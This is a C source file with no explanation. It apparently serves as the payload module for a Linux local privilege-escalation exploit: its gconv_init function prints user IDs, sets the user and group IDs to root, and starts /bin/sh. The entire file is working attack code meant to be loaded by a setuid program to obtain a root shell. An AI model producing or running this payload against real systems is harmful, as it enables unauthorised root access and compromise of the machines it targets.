#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
void gconv(void) {
}
#define X_P_INFO  \
    if(1){\
        printf("err!file:%s,line:%u,last err=%u\n",\
            __FILE__,__LINE__,errno);\
    }
	
void p_user_id()
{
	uid_t ruid = -1;
	uid_t euid = -1;
	uid_t suid = -1;

	int ret = getresuid(&ruid,&euid,&suid);
	if (0 != ret)
	{
		X_P_INFO;
	}
	else
	{
		printf("ruid=%u,euid=%u,suid=%u\n",ruid,euid,suid);
	}
}
void gconv_init(void *step)
{
	p_user_id();
	char * const args[] = { "/bin/sh", NULL };
	char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
	auto r1 = setuid(0);
	if(0 != r1){
		X_P_INFO;
		exit(0);
	}
	auto r2 = setgid(0);
	if(0 != r2){
		X_P_INFO;
		exit(0);
	}

	p_user_id();

	printf("r1=%d,r2=%d\n",r1,r2);
	execve(args[0], args, environ);
	exit(0);
}
